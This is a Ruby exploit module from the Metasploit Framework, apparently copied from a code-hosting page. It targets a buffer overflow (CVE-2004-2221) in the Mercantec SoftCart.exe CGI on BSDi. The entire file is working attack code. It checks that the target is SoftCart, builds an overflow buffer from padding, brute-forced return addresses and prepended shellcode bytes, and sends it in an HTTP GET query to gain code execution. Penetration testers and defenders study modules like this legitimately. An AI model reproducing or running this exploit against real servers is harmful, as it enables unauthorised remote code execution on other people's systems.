101 lines
2.5 KiB
Ruby
101 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Brute
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mercantec SoftCart CGI Overflow',
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'Description' => %q{
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This is an exploit for an undisclosed buffer overflow
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in the SoftCart.exe CGI as shipped with Mercantec's shopping
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cart software. It is possible to execute arbitrary code
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by passing a malformed CGI parameter in an HTTP GET
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request. This issue is known to affect SoftCart version
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4.00b.
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},
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'Author' => [ 'skape', 'trew' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-2221'],
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[ 'OSVDB', '9011'],
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[ 'BID', '10926'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
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'MinNops' => 16,
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'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
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'PrependEncoder' => "\x83\xec\x7f",
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},
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'Platform' => 'bsdi',
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'Targets' =>
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[
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[
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'BSDi/4.3 Bruteforce',
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{
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xefbf3000 },
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'Stop' => { 'Ret' => 0xefbffffc },
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'Step' => 0
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}
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},
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],
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],
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'DisclosureDate' => 'Aug 19 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
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], self.class)
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end
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def brute_exploit(address)
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if not (@mercantec)
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res = send_request_raw({
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'uri' => datastore['URI']
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}, 5)
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@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
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raise RuntimeError, "The target is not a Mercantec CGI" if not @mercantec
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end
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buffer =
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"MAA+scstoreB" +
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rand_text_alphanumeric(512) +
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[address['Ret']].pack('V') +
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"MSF!" +
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[address['Ret'] + payload.encoded.length].pack('V') +
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payload.encoded
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print_status("Trying #{"%.8x" % address['Ret']}...")
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res = send_request_raw({
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'uri' => datastore['URI'],
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'query' => buffer
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}, 5)
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handler
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end
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end
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